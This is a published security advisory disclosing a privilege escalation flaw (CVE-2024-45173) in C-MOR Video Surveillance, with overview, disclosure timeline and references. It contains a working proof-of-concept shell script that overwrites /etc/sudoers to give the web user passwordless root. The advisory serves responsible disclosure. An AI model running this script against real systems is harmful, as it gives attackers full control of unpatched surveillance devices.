C-MOR Video Surveillance 5.2401 / 6.00PL01 Privilege Escalation

`Advisory ID: SYSS-2024-027  
Product: C-MOR Video Surveillance  
Manufacturer: za-internet GmbH  
Affected Version(s): 5.2401, 6.00PL01  
Tested Version(s): 5.2401, 6.00PL01  
Vulnerability Type: Improper Privilege Management (CWE-269)  
Risk Level: High  
Solution Status: Open  
Manufacturer Notification: 2024-04-05  
Solution Date: -  
Public Disclosure: 2024-09-04  
CVE Reference: CVE-2024-45173  
Authors of Advisory: Chris Beiter, Frederik Beimgraben,  
and Matthias Deeg  
  
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Overview:  
  
The software product C-MOR is an IP video surveillance system.  
  
The manufacturer describes the product as follows:  
  
"With C-MOR video surveillance, it is possible to check your  
surveillance over network and the Internet. You can access the live  
view as well as previous recordings from any PC or mobile device.  
C-MOR is managed and controlled over the C-MOR web interface.  
IP settings, camera recording setup, user rights and so on are set  
over the web without the installation of any software on the  
client."[1]  
  
Due to improper privilege management concerning sudo privileges, C-MOR  
is vulnerable to a privilege escalation attack.  
  
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Vulnerability Details:  
  
By analyzing the C-MOR system with shell access (see SYSS-2024-026[3]),  
it was found that the Linux user "www-data" running the C-MOR web  
interface can execute some OS commands as root via sudo without having  
to enter the root password.  
  
These commands, for example, include "cp", "chown", and "chmod", which  
enable an attacker to modify the system's sudoer file in order to  
execute all commands with root privileges.  
  
Thus, it is possible to escalate the limited privileges of the user  
"www-data" to root privileges.  
  
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Proof of Concept (PoC):  
  
For demonstrating a privilege escalation attack with shell access as  
the user "www-data", the following shell script was uploaded to the  
C-MOR system and executed:  
  
$ cat privesc.sh  
sudo cp /etc/sudoers /home/cam  
sudo chown www-data /home/cam/sudoers  
sudo chmod 777 /home/cam/sudoers  
echo 'www-data ALL = (ALL) NOPASSWD: ALL' >> /home/cam/sudoers  
sudo chmod 440 /home/cam/sudoers  
sudo chown root /home/cam/sudoers  
sudo cp /home/cam/sudoers /etc/sudoers  
sudo rm /home/cam/sudoers  
  
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Solution:  
  
There is no fix for this security issue.  
  
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Disclosure Timeline:  
  
2024-04-05: Vulnerability reported to manufacturer  
2024-04-05: Manufacturer acknowledges receipt of security advisories  
2024-04-08: Exchange regarding security updates and disclosure timeline  
2024-05-08: Further exchange concerning security updates and disclosure  
timeline; public release of all security advisories  
scheduled for release of C-MOR Video Surveillance version 6  
2024-05-10: Release of C-MOR software version 5.30 with security updates  
for some reported security issues  
2024-07-19: E-mail to manufacturer concerning release date of C-MOR  
Video Surveillance version 6; response with planned  
release date of 2024-08-01  
2024-07-30: E-mail from manufacturer with further information  
concerning security fixes  
2024-07-31: Release of C-MOR software version 6.00PL1  
2024-09-04: Public release of security advisory  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
References:  
  
[1] Product website for C-MOR Video Surveillance  
https://www.c-mor.com/  
[2] SySS Security Advisory SYSS-2024-027  
  
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2024-027.txt  
[3] SySS Security Advisory SYSS-2024-026  
  
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2024-026.txt  
[4] SySS Responsible Disclosure Policy  
https://www.syss.de/en/responsible-disclosure-policy/  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Credits:  
  
This security vulnerability was found by Chris Beiter, Frederik  
Beimgraben.  
  
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Disclaimer:  
  
The information provided in this security advisory is provided "as is"  
and without warranty of any kind. Details of this security advisory may  
be updated in order to provide as accurate information as possible. The  
latest version of this security advisory is available on the SySS Web  
site.  
  
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Copyright:  
  
Creative Commons - Attribution (by) - Version 3.0  
URL: http://creativecommons.org/licenses/by/3.0/deed.en  
  
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